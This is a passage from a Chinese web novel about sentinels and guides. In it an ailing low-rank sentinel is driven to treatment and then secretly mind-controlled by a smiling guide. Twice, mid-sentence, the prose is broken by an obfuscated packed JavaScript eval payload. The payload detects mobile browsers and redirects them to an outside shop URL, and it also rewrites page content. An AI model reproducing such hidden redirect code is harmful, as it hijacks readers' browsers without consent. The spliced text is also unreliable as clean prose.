“像《我和十八名天龙人向导不得不说的酱酱酿酿》里，就很详细描写了一名女哨兵和十八名天龙人向导之间的……安抚过程……” 明绪：“哈？” 聆汐以为他对那本小说的内容感兴趣，努力回忆道： “那名女哨兵是当时最强的黑暗哨兵，是白塔创造出来的最强实验体，没有任何人可以标记她，而且她的精神力有毒，所有靠近她的向导，都会被她感染病毒……” “她患上了感官过载，白塔给她安排了十八位向导……” “白塔向导的治疗室，常年备着各种小玩具……” “跨等级安抚，需要哨兵和向导亲密接触……酱酱酿酿……” 说到这里，聆汐不知道想到了什么，本就飘粉的脸蛋上红得快要滴血，原先清明的目光也变得涣散起来。 明绪有些尴尬，慕野却是听不下去地赶紧出声打断她满脑子的颜色废料： “你放心，自从《新哨向管理法》成立以来，那种古早的□□交换、□□结合安抚方式已经被取缔……” “我不会让你像宠物一样被谁绑起来，更不会让人对你……那什么，就算对方是向导，也不行！” 说这话的时候，慕野眸光幽邃，握着方向盘的手无意识地握紧，青筋暴起。 明绪奇怪地看了他一眼。 “啊？为什么要取缔？”聆汐皱了皱鼻子，很有些不满：“两个人……这种……不是只要都觉得舒服、享受就可以了嘛？” “向导可以调整哨兵的五感，在安抚过程中，能保证哨兵的……愉悦……” 慕野：“……你刚不是还说不想要那种古早的安抚方式么，怎么，现在听到取消了，你好像还挺遗憾？” 什么呀！ 慕野：“少看点那些乱七八糟的星网小说吧，你的神游症本来就没好，再看那种东西，把脑子都要看坏了。” “到时候你‘穿’成女主还好，要成了下场悲惨的女配，都不需要你上战场感染污染，自己都要被自己气死……” 聆汐：“？！你怎么知道我是……嗯，那什么？” 慕野：“怎么？你还真是某个小说里的炮灰女配？女主是谁？你那个外甥女……呐呐？” 聆汐：“你怎么知道？” 他怎么知道？他昨晚到现在一直没睡，竖着耳朵，听昏昏沉沉的她说了半天的梦话。 联系起她平时爱看的那些小说类型，再把她的梦话排列组合一下，动动脚指头都知道那是个什么剧情。 当然，这些话，慕野肯定不可能和聆汐说。 “你身边符合你‘小说’女主人设的，除了你的小外甥女，还有别人么？” 聆汐：…… 心底最大的秘密被揭穿，聆汐昏沉的脑海一下子就清醒了不少。 “你骗人！”她不相信他是猜的，他一定也和她一样，觉醒了自我意识，“看”到了主线剧情！ “所以……你穿的小说，女主是呐呐，你呢？畸变狂化的恶毒女配？还是被某个叫莱奥斯的黄毛向导骗财骗色的那种？”慕野说这话的时候，语气很有些阴阳怪气。 明绪往窗边靠了靠，想笑不敢笑，尽量降低自己的存在感。 棺棺棺材盖上的蝙蝠眼再次跳出了乱码，晕乎乎的，突然分析不出目前的情况了。 11. 第011章 “你才被骗财骗色，你才被骗财骗色！”聆汐就像被踩到尾巴的猫，猛地从座位上弹跳起来，要不是有棺棺的机械臂安全带困着，她恐怕早就冲去驾驶座把开车的慕野狠狠揍一顿了。 见她这个样子，慕野知道自己是猜对了，很不给面子地故意笑出声：“看来，我还挺有‘写小说’的天赋。” 聆汐不满地哼了哼，扭过头，不想理他。 慕野：“别胡思乱想了，你就是你，未来的最强哨兵，从F级逆袭成S级的大女主，巨龙般的大女人，你‘看’到的那个小说，估计是哪位忮忌你的人胡编乱造的，不要太当真。” 她当真了，他就该哭了。 虽然他很高兴她在她的小说里，把他放进了男主团……可女主不是她，他进主角团又有什么意思？ 看她的样子……似乎还对那个小说深信不疑，可见，她的神游症恐怕又严重了！ 想到这里，慕野神情一肃，下意识地加快开车的速度，想尽快赶到北部宿舍区找向导为聆汐做疏导。 认识慕野这么多年，聆汐忽然觉得，他也就今天看起来像个人了。 回忆着主线剧情里与慕野相关的剧情，聆汐忽然就分不清此刻的他和剧情里的他，到底哪一个是真实的他了。 于是，她忍不住开口问他：“慕野，神游症是不是真的治不好？神游症的尽头，是不是就是狂化畸变？如果……如果我最后还是无法改变自己的命运，狂化畸变了，你会亲手杀了我么？” 神游症、狂化、畸变……是每个哨兵最不愿提及却又存在于多数哨兵之间的绝症。 慕野握方向盘的手再次一紧，副驾上的明绪也一改乐呵呵的神情，表情变得无比沉重。 一想到聆汐可能会……不！不可能！ 他连丁点假设都不愿想。 慕野：“不会，不可能。” 聆汐：“不会什么？你不会亲手杀了我么？” 是因为他们从小一起长大，因为她是他父母强加给他的负担，所以他不会也不可能杀了她？所以最后大结局的时候，他才会联合主角团一起，逼着呐呐对她动手？ 慕野：“你不会狂化，也不可能畸变，就算你真的狂化畸变了，我也会保护你。” “就像你之前说的，就算你真的畸变了，也会努力成为最强畸变王……” “我那是开玩笑的！”聆汐又抬脚，轻轻踢了踢驾驶座的位置：“我才不要沦为没有理智的畸变物，又臭又丑，好难看的！” “我不知道我的神游症能不能好，万一好不了，真的到了失去理智的那天，你该动手，还是要动手！” “你也是D09星的一员，要是我不在了，你就要承担起保护基地的责任，不能中了白塔派出的美人计……” “比起白塔那边的向导……肯定是呐呐最好了……虽然我不是很满意你这个外甥女婿，脾气不好、说话不好听，情绪不稳定，长得也一般般……” 慕野：…… 明绪：咳，明明是个很沉重的话题，不知道为什么，突然好想笑，忍住，不能笑！ “……你不能做什么事，都指望呐呐出头，有些责任，该是你的就是你的，不能因为怕被呐呐记恨，你就把打死我的任务，强加给呐呐身上，这样真的很不男人……” “昨天我都看到了，你拿着把大砍刀，杀异种就跟砍瓜切菜似的，熟练得不行……” “一刀一个异种，手起刀落，听说哨兵在彻底沦为异种前，还是有一丝理智，能感觉到疼痛的……” “万一真到了那一天，看在我们认识那么多年的份上，你就给我一个痛快吧……” “不要为难呐呐，到时候，我会给呐呐留一份遗书，遗书上告诉她，是我要你在我狂化畸变后，给我一个痛快的，这样，呐呐就算心里有疙瘩，也不会真的对你怎么样……” “或者，我们就不要告诉呐呐我的真实情况了，就说我去其他星系旅游了……” “不不不，那样也不好，不行的话，要不找人定制一块锦旗或者徽章……让呐呐知道自己的小姨是死在战场上的英雄，总比让她知道，小姨畸变狂化了好……” “以后她进了白塔，有个英雄小姨在，其他人也不会看不起她……” 说着说着，聆汐吸了吸鼻子，声音都有些哽咽了。 明绪注意到她啪嗒啪嗒地掉起了眼泪，心被狠狠刺了一下，手比脑快地赶紧从包里翻出纸巾递过去： “聆……聆队长，你别难过，也别悲观。” “虽然目前确实没有神游症被治愈的病例，可大数据显示，也不是所有患上神游症的哨兵最终都会畸变狂化……” “只要及时找到合适的向导定期做疏导，在脑域污染严重的时候，不去战场、不在高污染的环境下放开精神屏障、放出精神体，你完全可以正常生活很长一段时间……” “现在科技那么发达，白塔也成立了专项小组全力研究治愈‘神游’‘狂化’‘畸变’这些症状……” “何况，你现在的精神力等级是F级，最近几年向导的觉醒人数虽然比哨兵少一半，可F级以上的向导在中央星系内，也不是什么特别稀罕的存在，要找到一个向导为你做安抚，并不是什么难事。” “至于你说的那些……咳，你不太能接受的安抚方式，有正规治愈师、净化师执照的向导，都不会在你不愿意的情况下，做出那种让你反感的事，一般的静音室都有监控覆盖，你说得那些……” “那些，咳，安抚方式，目前也就存在一些博人眼球的小说里，看看就行，千万别当真。” 明绪虽然是平民，但他出生就在中央星系内的一颗小行星，10岁觉醒为哨兵后，他就被接去首都星白塔求学，由于经常去公会接任务，他的精神阈值和脑域污染起起伏伏，需要定期接受向导疏导。 对于首都星这边的向导疏导方式，他很有发言权：“白塔的向导很多时候虽然确实看不起平民哨兵，但他们的专业能力还是很不错的，每个向导都会在网上开放预约号，也会在自己的个人主页上传安抚病例。” “除非是脑域污染严重，被判定有强烈攻击性，需要向导做跨级安抚的哨兵需要佩戴止咬器、颈环这类东西，其他哨兵，只要不找等级差距过大的向导，都不需要戴那种东西。” “当然，个别高等级向导听说确实有一些奇怪的癖好……你不喜欢的话，在抢号的时候，留意下向导的个人主页，看看其他哨兵对他的打分评价，就能避开这些有奇怪要求的向导了……” 明绪说的这些，明显与聆汐听说、“看”到的剧情有很大出入。 现有的认知被重塑，聆汐下意识地看向明绪，对上他清澈的眼睛，半信半疑：“真的吗？” 明绪肯定地冲她点点头：“我10岁觉醒为哨兵，之后就一直住在白塔，对于白塔在职的向导，我不能说全部都认识，但至少有一小半还是很熟悉的，等考试结束，你顺利入学，来到中央星系定居，我可以当你的导游……” “咳，当然，如果你愿意的话，也、也可以来我住的地方做客……” 吱—— 明绪的话还没说完，慕野就忽然一个紧急刹车。 聆汐有棺棺护着，没有受到太多冲击力，明绪却没那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167044|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸运，身体因惯性往前一扑，脑袋也撞到了玻璃窗上，差点把窗给撞碎。 慕野不走心地和明绪说了声抱歉，转身看向后座的聆汐，语气放缓： “还没发生的事，就不要再胡思乱想了，有我在，你担心的事就不可能发生，你现在要做的，是忘记你脑子里‘看’到的剧情。” “明绪虽然说了很多废话，但有一句确实真的，并不是所有患上神游症的哨兵都会畸变狂化，只要好好治疗，定期疏导，时间长了，你也有一定概率可以自愈的。” 闻言，聆汐黯淡的眸光一点点亮了起来，把目光从明绪那边移到慕野身上，满是期待地问：“真的吗？神游症……真的有概率自愈吗？” 这还是慕野第一次看到聆汐这样的目光，胸口的地方，像被蜜蜂蛰了一下，泛起些许的刺痛。 他看着她，认真地点点头：“是真的，毕竟，你是聆姨唯一的血脉，你的母亲、你的姓氏，本身就代表着奇迹，我相信，你一定会是下一个。” 聆汐下意识地又看向明绪。 见状，慕野无意识地沉下脸。 明绪揉着被撞痛的额角，无视低气压的慕野，笑着向聆汐点点头。 聆汐看看明绪又看看慕野，总算释然地笑了起来。 知道神游症并非真的绝症、中央星系这边的向导也不会经常把哨兵当狗一样对待后，聆汐的情绪很快就松懈了下来。 心里的石头被挪开，聆汐终于不再自寻烦恼地琢磨着主线、琢磨着剧情，忧虑着自己是否无法改写自己必死的结局。 慕野淡淡地瞥了明绪一眼，明绪无辜地冲他笑笑，只是那个笑容，此刻落在慕野眼里，怎么看怎么碍眼。 车子重新启动，聆汐下意识地看向窗外。 不知道是不是心态变了，她总觉得车窗外的天空，那仿佛擦不干净的灰色，似乎褪色了一点。 看着看着，聆汐不自觉地放松了身体，向后靠在车后座上，闭上眼，渐渐睡了过去。 慕野把白噪音打开，明绪释放了一点风系异能，驱散了车厢里的些许异味。 棺棺拟态出了淡淡的花香味，将昏睡中的聆汐牢牢地包裹在内。 伴着微风，闻着花香，听着深海的白噪音，聆汐不知不觉，睡得更沉了。 - “她的精神屏障上确实出现了一些裂纹，大概率是‘末世’的污染所致，她的精神力有些枯竭，应该是强制释放了以她目前的等级还无法熟练掌控的异能原因……” “不过，她的精神图景有点奇怪……” 意识还未恢复，聆汐分不清是梦还是现实，只觉得耳边有一道很好听的声音在淙淙流淌。 有点苏，有点撩，像羽毛掠过心尖，荡起一圈又一圈的涟漪。 “她体内有两股精神力，一个水系一个无属性，不知道为什么，无属性的精神力有转换成火系的倾向，可能与她的拟态系异能有关……” “水火不容，等级又相近，两股力量都想吞噬对方，以她的身体和精神图景为战场，这就导致了她的精神力暴走，从而反应到了她的体表上……” “一冷一热，再加上这些天缺衣少食、营养不良，抵抗力不足，这才让她烧了起来……” “我这里有退烧药，等她醒了，就让她吃下，虽然她只是F级哨兵，但也算是异能者，体质自然比普通人强很多，好好吃饭、多补充点营养，多喝热水、对注意休息，很快就能好起来……” 两股精神力？意思是她觉醒了两种异能吗？ 聆汐听得云里雾里，五感由模糊到清晰，无意识地撑开了沉重的眼皮。 12. 第012章 奶黄色的天花板，好似铺了一条银河的星空顶—— 聆汐眨了眨眼，下意识地环顾四周。 与天花板同色调的暖色系装修，触目所及，奶白色的懒人沙发、浅色系的茶几、淡蓝色的花束…… 几步之遥的地方，有两道高大挺拔的身影一坐一站，面面相对。 坐着的那人，背对着聆汐的方向，从聆汐的角度，只能看到他挺拔的背影，而站着的那位，双手抱胸、气质漠然，不是慕野是谁！ 此刻，那两人刻意放轻了声音，不知道在交流着什么。 聆汐刚恢复意识，只觉一阵口干舌燥，忍不住呼唤自己的小机器人：“棺棺……” 那沙哑的声音，把聆汐自己都吓了一跳。 “小姨！”断开的神经连接被重新续上，感受到聆汐召唤的棺棺捧着一杯温水，颠颠地从开放式厨房那边跑了过来。 “咦？这么快就醒了呀？”坐着的男人合上摊开的书本，缓缓站起了身。 慕野则快步走到了聆汐身边，打量着她还泛着淡粉的脸色，语带关心地道：“怎么样？脑袋还痛不痛？身体呢？身体感觉怎么样，有没有哪里不舒服？” 聆汐就着棺棺的机械手喝水，暂时没空回答慕野连珠炮似的问题。 一杯水下肚，聆汐总算有了点活过来的感觉。 “我怎么了？这里是哪里？我们……我们不是在‘末世’考场考试么？” 每次从神游状态抽离，聆汐都会丢失一部分记忆。 脑海晕乎乎的，她努力回忆，只隐约想起自己之前好像站在落地窗前，满心忮忌地盯着主动向慕野翻肚皮的狮虎兽看…… “还有呢？第一阶段‘生存’考核明天就结束了，你别告诉我，你不记得‘生存’阶段的事了？” 慕野的表情不是很好看，原以为不久前在车上，他们两人算是“化干戈为玉帛”，她眼底对他的信任、最后释然的微笑，无一不在表示他们之间的关系应该又进了一步，结果…… 不过睡一觉的功夫，她居然又什么都不记得了？！ 他把她的所有点滴都珍重地记在了心底，可每一次，当他以为自己靠近她了的时候，只是一个眨眼的瞬间，她就又忘记了！ 慕野忽然觉得有些委屈，再开口时，那些被压抑许久的负面情绪也不由得漏了几分出来： “聆汐，你觉醒的精神体是鱼吗？脑壳比黄豆还小，能储存的记忆只有七秒？” “你才脑袋比黄豆小，错了，你不是黄豆，你是针尖，你脑袋和心眼比针尖还小！”聆汐习惯性地抬手就要抽他，然而慕野预判了她的动作，直接避了过去。 他不避还好，这么一避，瞬间捅了聆汐的马蜂窝。 聆汐不管不顾地从床上跳起来，可惜她脑袋还晕着，起猛了后，眼前一阵发黑，让她不自觉地往前一扑。 她以为她扑到的人是慕野，毕竟两人相识十多年，从启蒙开始打打闹闹到现在，像这样的情况并不是第一次发生。 在聆汐已有的记忆里，每次她和慕野打闹，慕野躲归躲、避归避，一旦见她有摇摇欲坠的摔倒迹象，第一个跑来扶她的人，也都是他。 有慕野在，聆汐从不觉得自己真的会摔倒。 于是，她想都没想，扑到男人怀里后，顺手在他的胳膊上用力一拍。 啪—— 巴掌声一如既往的又响又脆，光听声音就知道手的主人到底花了多大力。 然而…… 空气突然变得格外安静，缓过神来的聆汐与离她半步之遥的慕野大眼瞪小眼了一会儿，这才后知后觉地反应过来，她……打错人了！ “噗嗤！”一声陌生的轻笑在聆汐的头顶响起。 这个声音有点耳熟……是刚刚在梦里撩拨她的声音！ 聆汐没有第一时间抬头，而是注意到男人卷到胳膊肘的衣袖下，那绷紧的、青筋偾张的小臂。 如玉的冷白皮，线条优美的肌肉，可以去当手摸的修长手指…… 聆汐好奇地抬起头，看清楚对方的模样后，她不禁眸光微亮，难掩惊艳。 眼前的男人长得很好看，几乎每一处都长在了聆汐的审美点上。 耀眼柔顺的浅金色发丝，如深海般幽邃的湛蓝眼眸，面部轮廓清晰分明，鼻梁高挺，薄唇微红，微微笑起来时，好似身后有千树万树桃花盛开。 他的气质温润，似雾又似玉，身上穿着一件干净的白衬衫，身上散发着淡淡的草木香。 两人四目相对时，聆汐发现他瞳孔的颜色是泛着渐变的蓝，在暖色的灯光下，流光溢彩，很是漂亮。 特别是他的眉心处，还有一粒很浅很浅的小痣，察觉到聆汐的目光后，他加深了唇边的笑意，露出了一点醉人的酒窝，莞尔开口道：“你好，我是叫洛尔，是一名D级向导，很高兴认识你。” 话落，他牵起聆汐抓在他小臂上的手，似是想要轻吻她的手背。 不过，洛尔的唇还没落下，另一只戴着战术手套的手掌冷不防地插了进来，挡在了他和聆汐之间。 “不好意思，我们那儿不流行你们这的礼仪。”慕野面无表情地对洛尔道，顺势把聆汐的手从洛尔那儿扒拉了出来。 慕野上前挡在聆汐身前，逼得洛尔不得不退开两步，拉开与他们之间的距离。 “哦，是吗？”洛尔不以为意：“吻手礼不过是中央星系最常见的基本礼节，以后……总需要习惯的。” 慕野警告性地看了洛尔一眼：“那也是以后的事。” 洛尔不置可否地耸耸肩，脸上笑意不变，眸光却淡了几分。 被忽然挡住视线的聆汐不满地拍了拍慕野硬邦邦的手臂，见他动也不动，她气得扭了他一下，不得不攀着他的胳膊，从另一边探出头，对金发蓝眼的洛尔向导自我介绍：“我是聆汐，聆听的聆，潮汐的汐。” “聆听潮汐么？不错的名字。”洛尔看着努力从慕野身后探出脑袋与他说话的聆汐，忍不住又笑了起来。 看着两人之间的互动，慕野忽然有些后悔自己来找洛尔合作的决定，是否真的正确。 - 无论慕野愿不愿意，洛尔是他们所在的东部基地里，与聆汐哨向匹配度最高的向导。 要修补聆汐的精神屏障、稳定她的精神图景，在这个“末世”考场上，洛尔暂时是最优选。 - 向导在为哨兵治疗的时候，最忌讳被人干扰。 聆汐虽然恢复了部分神志，可她缺失的记忆、混乱的认知，都在说明她真实的精神状态其实很不好。 从小机器人棺棺那里拿到聆汐的最新精神波动检测报告，洛尔收敛了笑容，当即表示他要尽快为聆汐做精神安抚。 慕野总觉得洛尔不想表面那么简单，可聆汐的情况刻不容缓，他只能压下心底的疑虑，不情不愿地被棺棺和明绪推了出去。 开着白噪音的暖色系房间内，只剩下洛尔和聆汐两个人。 洛尔得到聆汐的允许后，坐到她床边，温柔地牵起她的手，闭眼释放出精神力，试探着侵入聆汐的精神屏障。 洛尔已经尽量放柔了自己的精神力，可聆汐还是有些承受不住地晕了过去。 望着昏睡过去的聆汐，洛尔的蓝眸掠过一丝幽暗的光芒。 - 不知过了多久，许是一分钟，也或许是十分钟，聆汐从混沌中幽幽转醒。 “你醒了？感觉怎么样？还好么？” 熟悉又陌生的声音在耳边响起，记忆再度出现混乱的聆汐猛地转头。 金发蓝眼的俊美向导姿态优雅地坐在床边的椅子上，他的膝盖上放着一本看起来很有年代感的书。 屋外，不知何时，已是夕阳西下。 沾染着灰雾的黯淡阳光从落地窗外洒进来，与屋内星空顶的灯光奇妙地融为一体，给他如雕塑般的精致侧脸镀上一层神秘的光晕。 渐变色的蓝色眼眸忽明忽灭，带着一丝仿佛来自深海的诱惑。 “……这句话该是我问你才对，你呢？你还好么？”聆汐想起他强行突破了她的精神屏障，进到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167045|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的精神图景中，试图标记她的精神体虎鲸。 被困在水箱里的海洋霸主连聆汐这个主人都不服，怎么可能会任由一个向导驱使？ 想到眼前这人刚刚不顾她的抗议，试图驯服她的精神体，聆汐就气不打一处来。 原本因对方长相而起的朦胧好感瞬间消失殆尽。 她隐约想起遗忘的记忆碎片里，好像有谁曾在她耳边说过，别相信男人、特别是越好看的男人、有一头金发的男人…… 被祛魅的金发男人慢条斯理地合上书本，那双漂亮的蓝眼睛弯成月牙状：“我没事……不过，感觉你好像会对此很失望？” “我的精神体——” “很特别。”他打断她，语气轻松得像在讨论天气：“不愧是传说中的海洋霸主……很凶，也很有挑战性。” 话说着，他起身，缓步来到床边。 聆汐思绪有一瞬间恍惚，特别是当他俯身靠近时，他身上那股好闻的草木香更清晰……也更惑人了。 “不过我不怕它。”他的薄唇凑近聆汐的耳垂，暧昧摩挲，呼吸灼热，似情人间暧昧低语：“你的精神体很可爱，虽然有点不太听话……” “对了，它是一直都不听话，还是……有什么原因，开始不再信任你了呢？” 聆汐瞳孔一缩，眼神瞬间恢复清明，本能地竖起了浑身的刺：“你问这个做什么？你去过D09星？你究竟是谁？” 他大大方方地任由她打量，眼底浮现兴味： “你忘了么？我叫洛尔，来自中央星系，如果没意外，我会是你第二阶段实战考的新搭档。” “我觉得你不像是考生……”聆汐不知为何，这次醒来，对洛尔有些排斥：“我不想和男向导成为搭档，尤其是金发的男向导。” “可是，我很想和你合作，特别是和你的精神体并肩作战……”他笑容不变，并没有把聆汐的抗拒放在心上： “我想，我应该可以帮助到你，帮助你……如何驯服你的精神体？” “毕竟，我新觉醒的异能，恰好是精神控制类……” “你想拿我做实验？” “是合作。”他纠正道，再次露出一个温柔无害的笑容：“放心，我保证我的安抚过程……会让你很舒服的。” 不知为何，听他说到“舒服”这个词的时候，聆汐只觉背脊一阵发凉。 “不要，我拒绝！” “你是F级哨兵，恐怕没有拒绝的权利呢！”洛尔又露出了那枚醉人的小酒窝。 话说到这儿，他停顿了一下，像想起了什么，玩味地打量着聆汐： “我看过你的病例，你觉醒为哨兵还不满一个月，却已经神游了十几次，明明只有F级的精神力，却时不时地精神力暴走。” “如果不是因为你的姓氏，早在你踏上中央星系的那一刻，你就会被强行送去黑塔了。” 黑塔，专门收容患有深度神游症、精神力失控哨兵的地方，被关进那里的人，至今没有一个能活着出来。 “？！” “你如果还想继续参加军校联考，目前摆放在你面前的，只有两个选择。”洛尔伸出两根手指，“要么接受我的‘安抚’，要么立刻退出考场，躲回你的D09星，平庸地度过余生。” “你敢威胁我？！”聆汐危险地眯起了眼睛。 “不，我是想毛遂自荐，先抑后扬，方便强调我对你的价值。”洛尔的声音依然是那么令人如沐春风，仿佛他刚才对聆汐的隐隐威胁从未存在： “你的精神屏障已经布满蛛网状的裂痕，如果不接受深度治疗，恐怕连三天都撑不过。” “到时候……你的精神体会彻底暴走，你的精神力也会完全失控，届时等待你的，唯有黑塔这一个去处了。” 他直起腰，眸色深深地看着快要爆发的聆汐，眉眼弯弯地笑着道： “明天上午十点，哨塔的匹配中心见，我很期待与你正式组队……” “相信我，至少在这个‘末世’考场上，我绝对是你的最优选。” 13. 第013章 房门打开的那一刻，慕野是第一个冲进来的。 “看得见这是几么？”他快步来到床边，目光紧紧地盯着聆汐，伸出两根手指在她面前试探着晃了晃。 “你才2！我只是刚接受了一次疏导，并不是复明手术，我没瞎！”聆汐一巴掌拍开慕野的手，没好气地冲他翻了个白眼。 见她还有力气拍开他，慕野明显松了口气，接着不知道又想起了什么，继续试探着问她： “那你还记得自己叫什么名字？我叫什么名字？我们现在在哪？一二三后面是数字几？” 这是把她当智障了吗？ 聆汐又一巴掌呼在慕野的胳膊上，冲他怒目而视： “你故意找茬是不是？不是你带我来这里接受向导疏导的么？这里不是东部基地的向导宿舍区？我们在哪里……我就记得我在车上睡了一觉，醒来就在这里了！我还想问你这里是哪里呢！” “这里是我的宿舍！”被挤到一边去的洛尔幽幽插嘴道：“我是D级向导，所以分配给我的这栋别墅位置在整个向导别墅区的最外围呢~” 哨兵的宿舍楼是最老旧的六人间，向导的宿舍直接是独栋别墅…… 知道中央星系这边的向导福利待遇好，可哨向之间的差距会不会太大了？ 不得不说，聆汐有点酸了。 听到洛尔的声音，慕野总算想起了正视，回头看向他，询问道：“……她的情况怎么样？” 慕野话音刚落，明绪端着刚切好的水果走了进来，小机器人棺棺也紧随其后。 慕野让开了位置给棺棺，棺棺奶声奶气地喊了聆汐一声小姨后，伸出机械臂轻轻拥抱住她，开始扫描她的精神波动数据。 洛尔的金发在屋内暖色调的光照下泛着温和的光泽，亦如他平时给人的感觉，温文尔雅。 他回望着慕野的目光，笑眯眯地道：“很顺利，她的精神图景暂时稳定了，精神体也安静了不少。” 慕野眸色深深地看了他一会儿，接着看向棺棺，得到棺棺的肯定回答后，总算松了口气。 不过，他直觉还是觉得有哪里不太对，看向聆汐，问她：“你呢？你感觉自己现在情况怎么样？刚刚洛尔为你做的浅层安抚……确实有效么？” 刚刚他一直守在外面，盯着监控屏幕，光从屏幕看，洛尔就是握住了聆汐的手，闭眼为她做了最浅层的安抚。 聆汐在监控里的表现，也很正常，好像就是在洛尔的精神安抚下，短暂地睡了一觉。 可……不知道为什么，慕野并不相信监控里看到的那些画面，没有缘由，只是本能地觉得不太对劲。 闻言，聆汐想起不久前洛尔那黄毛对她的威胁，张嘴就想告状，然而—— 她明明想说的话是：那黄毛向导有问题！他刚刚并没有为我做最基础的浅层安抚，而是强行突破了我的精神屏障，想要标记我、驯服我的精神体，甚至他还威胁我明天十点去匹配中心和他组队…… 偏偏，真正说出口的话却是：“洛尔向导他……挺好的。” “他虽然只是一位D级向导，为我做了一次基础的浅层安抚，可他的精神力对我却有一定安抚作用。” 什么情况？她想说的不是这些！这不是她想说的话。 聆汐短暂的震惊过后，气得脸都红了，可惜，她对外表现在其他人眼里的模样，就好像是在不好意思。 气红的脸颊，粉嫩嫩的，似涂了一层胭脂，带着少女独有的羞涩。 就连棺棺都没有发现异常，还很配合地附和道：“是呢是呢，小姨的精神阈值已经稳定在安全线内，情绪波动也恢复了正常，可见洛尔向导确实是目前考场上，和小姨哨向匹配度最高的向导！” 哨兵考生随身携带的手环里的“探一探”功能，可以就近匹配与其哨向匹配度最高的搭档。 洛尔那会儿正跟着自己的小队在离向导宿舍区几百米的地方清理异种，却遇上了一个进化过三轮的高阶异种。 他的同伴们通过手环“探”出那个异种的等级后，第一时间按下求助按钮，跟着负责救援的教官们跑了，独留洛尔还在原地，准备扔个手榴弹看看能不能炸死那只异种…… 关键时刻，慕野和明绪他们根据棺棺的定位找了过来，也顺势救下了差点要和异种同归于尽的洛尔。 因为救命之恩以及那枚高阶异种的特殊形状虫玉为报酬，洛尔自然不会拒绝为只是F级哨兵的聆汐做疏导。 虽然所有的一切看似都刚刚好，可慕野从不相信巧合，要不是聆汐的情况不能再拖，棺棺也没从洛尔身上检测到任何异常，他也不会带着聆汐踏进洛尔的这栋别墅。 聆汐的话，让慕野忍不住皱起了眉头，眼神里闪过一丝晦暗：“挺好的？” “嗯……”聆汐感觉自己的嘴像是不受控制一样，继续往外蹦着违心的话：“他很耐心也很专业，精神力也很温和，为我做疏导的时候……还挺舒服的。” 聆汐外表笑嘻嘻，内心怒火烧，特别是当她看到洛尔站在慕野身后，眉眼弯弯地温柔看着她时，她更想一爪子抓烂他的脸了！ 他在笑，甚至还十分不要脸地开口对她道：“谢谢聆汐，能帮助到您，我也很开心。” 他在精神控制她！他居然能精神控制她？！ 什么D级向导，这绝对不可能是普通的D级向导能做出来的事！ 更可怕的是，他对她的精神控制，居然连棺棺都没察觉出异常，这很不对劲。 聆汐心里恨得牙痒痒，偏偏，所有对洛尔不利的话、不利的表情、不利的情绪波动，完全都表现不出来。 她好像被割裂成了两个部分，灵魂和身体、理智和感情，全部都被清楚地分割开。 聆汐努力让自己冷静下来，她记得白老师以前教过，哨兵情绪波动越大越容易在精神屏障上出现缝隙，也就越容易被向导精神控制。 她要尽快冷静下来…… “谢谢洛尔向导，小姨的烧退了，体温也降了，精神屏障的裂痕被修补过了，精神体目前陷入了深度睡眠，暂时不会出现精神暴动啦！”棺棺分析着聆汐的“情绪”，检查完她的各项身体情况后，也紧跟着对洛尔道谢。 聆汐：明明很生气，但还是要保持微笑。 “不用谢，能帮上忙就好。”洛尔心情似乎很愉悦，意有所指地看了慕野一眼：“看来我和聆汐的哨向匹配度确实很高呢！” 慕野终于转过身正视洛尔，金色的眸底冷得像冰。 明绪端着果盘，趁势来到聆汐床边，关心地问：“聆队长，你还有没有哪里不舒服？洛尔向导精神力进入您的精神图景后，你有感觉到哪里有异常吗？” 聆汐看着明绪关切的眼神，眼眶突然有些发酸。 她想说有，可是，所有涉及到与洛尔有关的负面情绪，总会在下一秒被控制得消失无踪。 “完全没有。”聆汐听到自己用轻松的语气回答明绪道：“洛尔做得很好，比我之前在……遇到过的向导都专业。” 她眼神清明，语气诚恳，情绪也没有太多负面波动，甚至，还主动伸手接过明绪手里的果盘，嗷呜嗷呜，一口接一口，津津有味地吃起了切好的苹果。 脆脆甜甜的滋味，稍稍驱散了她察觉自己被精神控制后的焦躁情绪。 明绪完全没有感知到任何异常，明显松了口气：“那就好，你刚才在车里晕了过去，像是神游症又发作了，我们都很担心。” 如果不是聆汐当时又烧了起来，浑浑噩噩地开始说胡话，他们也不会在“探”到最近的洛尔后，就直接找了过去。 原本慕野是打算带聆汐找的那位向导是之前在星舰上对他抛出过橄榄枝的一位B级女向导，可惜，慕野找过来的时候，那位向导和自己的队伍外出出任务去了，并不在向导区内，他们也是别无所则，抱着死马当活马医的心态，找上的洛尔。 现在看来，他们之前的决定应该没错。 晕过去？ 聆汐想起来了，洛尔第一次释放精神力侵入她精神屏障的那一刻，她承受不住，好像确实失去了意识。 然后……在那之间发生了什么？ 或许，洛尔就是在那个时候，对她下了什么精神暗示？ 对了，她的精神体虎鲸，那个从来不服任何人的海洋霸主……她好像隐隐约约，能感应到它的存在了？！ 聆汐像是后知后觉地感应到了什么，闭上眼，试着感应自己的精神图景。 四四方方、布满蛛网状裂痕的水池内，聆汐感觉到那个黑白配色的虎鲸闭着眼，像是在……不开心？ 不同于以往朦朦胧胧、模糊混沌的一团，这一次，她居然能接受到来自自家精神体的些许情绪。 愤怒、郁闷、不服…… 像是打架打输了的小孩，自认暂时拿敌人没有办法，只好憋屈地沉在海底，自顾自生闷气。 